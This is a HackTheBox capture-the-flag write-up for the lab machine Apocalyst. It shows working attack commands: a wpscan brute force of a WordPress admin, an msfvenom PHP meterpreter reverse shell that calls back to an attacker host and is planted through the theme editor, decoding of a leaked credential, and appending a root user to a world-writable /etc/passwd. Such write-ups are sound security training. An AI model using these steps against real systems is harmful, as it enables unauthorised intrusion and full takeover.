Apocalyst - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐⭐

Summary

Apocalyst is a medium-difficulty machine that requires a broad range of techniques and tools to compromise. The initial attack surface is minimal—only SSH and Apache are exposed—but through creative wordlist generation, steganography, and WordPress exploitation, an admin shell can be obtained. Privilege escalation exploits a misconfigured world-writable /etc/passwd file combined with a Base64-encoded credential leak to achieve root access. This machine is an excellent learning resource for enumerating unconventional attack vectors and chaining multiple techniques together.

TL;DR: Generate custom wordlist (CeWL) → Extract hidden file from image (steghide) → Brute-force WordPress admin (wpscan) → Upload PHP shell via theme editor → Escalate via world-writable /etc/passwd + leaked credentials.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.46

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Only two services are exposed: SSH and Apache web server.

Service Enumeration

HTTP Enumeration:

Browsing to the target reveals a basic website with generic content. Standard directory wordlists (common.txt, dirb wordlists) yield no meaningful results.

WordPress Detection:

Further enumeration reveals the presence of WordPress running on the server.

Vulnerability Assessment

Initial Foothold

Exploitation Path

Step 1: Custom Wordlist Generation with CeWL

Standard wordlists fail to enumerate directories. Using CeWL to generate a custom wordlist from the website’s content reveals more attack surface:

cewl 10.10.10.46 > wordlist.txt

This extracts all words from the website, including domain-specific terminology that typical wordlists miss.

Step 2: Directory Fuzzing and Discovery

Using the generated wordlist with a fuzzing tool (e.g., Dirbuster or ffuf):

# Using dirbuster or equivalent fuzzing tool
# Results reveal the /Righteousness directory with larger response size

Browsing to /Righteousness reveals an image file: apocalyst.jpg.

Step 3: Steganographic Data Extraction

The image contains hidden data. Using steghide with a blank passphrase:

steghide extract -sf apocalyst.jpg
# Output: list.txt (a wordlist of random words in multiple languages)

This generates a password list to be used for further attacks.

Step 4: WordPress Admin Discovery

Examining WordPress posts reveals the administrator username falaraki displayed above post titles.

Step 5: WordPress Brute Force

Using wpscan with the extracted wordlist to brute-force the WordPress admin account:

# First, add the target to /etc/hosts for proper WordPress rendering
echo "10.10.10.46 apocalyst.htb" >> /etc/hosts

# Brute-force the WordPress admin user
wpscan --url http://apocalyst.htb \
       --wordlist /path/to/list.txt \
       --username falaraki

The account is successfully compromised with credentials found in list.txt.

Step 6: PHP Reverse Shell Upload

Generate a PHP reverse shell using Msfvenom:

msfvenom -p php/meterpreter/reverse_tcp \
         lhost=10.10.14.X \
         lport=4444 \
         -f raw > shell.php

In the WordPress admin panel:

1. Navigate to Appearance → Editor
2. Select Single Post (single.php)
3. Replace the file contents with the PHP reverse shell
4. Save changes

Browsing to any WordPress post executes the shell code, establishing a reverse connection.

Privilege Escalation

Exploitation Path

Step 1: Enumeration with LinEnum

Run LinEnum on the compromised system to identify privilege escalation vectors:

# Transfer and execute LinEnum
./LinEnum.sh

Key finding: /etc/passwd is world-writable, allowing arbitrary user creation.

Step 2: Extract Leaked Credentials

The /home/falaraki/.secret file contains a Base64-encoded password:

strings /home/falaraki/.secret
# Output: Base64-encoded string

# Decode the credential
echo "BASE64_STRING" | base64 -d
# Output: falaraki user password

Step 3: SSH Access

SSH into the machine using the leaked falaraki credentials:

ssh falaraki@10.10.10.46
# Enter password from Step 2

Step 4: Create Privileged User via /etc/passwd

With an interactive session, edit /etc/passwd to create a new root user:

# Generate a password hash (using openssl or similar)
# For this machine, a pre-computed hash is used:

echo 'writeup:$6$gUo4KFHI$WA8mYODvtKWzjxiwc3Nt6QyBFlhpTAODDCRJb5ORHlpOU1Lc5Rdg
Sb5psFzNkhmgMcPn7eCSrt1izT0a7S2LJ1:0:0:root:/root:/bin/bash' >> /etc/passwd

Step 5: Privilege Escalation

Switch to the newly created user with root privileges:

su writeup
# Password: writeup

Root access is now obtained. Retrieve the flags:

cat /home/falaraki/user.txt
cat /root/root.txt

Attack Chain Summary

Port Scan (SSH, Apache)
    ↓
Custom Wordlist Generation (CeWL)
    ↓
Directory Enumeration (/Righteousness)
    ↓
Steganographic Extraction (steghide)
    ↓
Password Wordlist (list.txt)
    ↓
WordPress Admin Discovery (falaraki)
    ↓
Credential Brute Force (wpscan)
    ↓
PHP Shell Upload (Theme Editor)
    ↓
Reverse Shell Access
    ↓
LinEnum Enumeration
    ↓
Leaked Credentials (Base64 Decode)
    ↓
SSH Access (falaraki)
    ↓
World-Writable /etc/passwd Abuse
    ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• Custom wordlist generation for targeted enumeration
• Steganography detection and exploitation
• WordPress admin account brute forcing
• Web shell upload via CMS theme editors
• World-writable system file exploitation
• Base64 credential decoding
• Multi-step privilege escalation chains

Lessons Learned

1. Default wordlists are insufficient. Custom wordlist generation via CeWL can reveal hidden directories and endpoints that standard lists miss.

2. Always check for steganographic data. Images and media files can hide sensitive information; tools like steghide should be part of the standard enumeration toolkit.

3. Credentials leak in multiple places. Configuration files, backup files, and hidden files often contain plaintext or encoded credentials that can be leveraged for lateral movement.

4. Misconfigured system permissions are critical. A world-writable /etc/passwd file is a severe vulnerability that allows immediate privilege escalation regardless of password strength.

5. Interactive shell access matters. Non-interactive shells limit the ability to modify system files; obtaining SSH access provides significantly more control.

6. Chain multiple vulnerabilities. This machine demonstrates how individually minor issues (weak passwords, hidden wordlists, permissive file permissions) combine to achieve complete system compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>